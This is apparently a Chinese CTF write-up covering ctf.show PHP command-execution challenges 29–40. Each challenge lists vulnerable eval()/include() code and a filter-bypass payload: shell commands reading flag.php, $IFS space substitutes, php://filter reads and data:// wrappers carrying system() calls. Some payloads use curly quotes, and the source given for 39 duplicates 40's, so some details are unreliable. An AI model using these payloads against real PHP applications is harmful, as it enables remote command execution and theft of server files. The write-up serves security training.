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[CTF.SHOW]WEB命令执行(29-40)3 min read

0X00 29

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

flag可以利用反引号绕过:

?c=system(“cat fl\ag.php”);

0X01 30

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

除了system,还有一堆命令执行的姿势:

passthru(“cat f*”);

echo `cat f*`;

0X02 31

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

在linux 空格可以用以下字符串代替:

%09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、%20(space)等

echo`strings%09f*`;

echo`strings\$IFS\$9f*`

0x03 32

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

include不用括号,分号可以用?>代替。

?c=include$_GET[_]?>&_=php://filter/read=convert.base64-encode/resource=flag.php

33-35的payload同上

0x04 37

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

看到include想到伪协议。

?c=data://text/plain,<?php system(“cat f*”);?>

0x05 38

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

0x06 39

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

0x07 40

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

?c=data://text/plain,<?php system(“cat f*”);?>

后面拿?>闭合,限制后缀也无所谓了。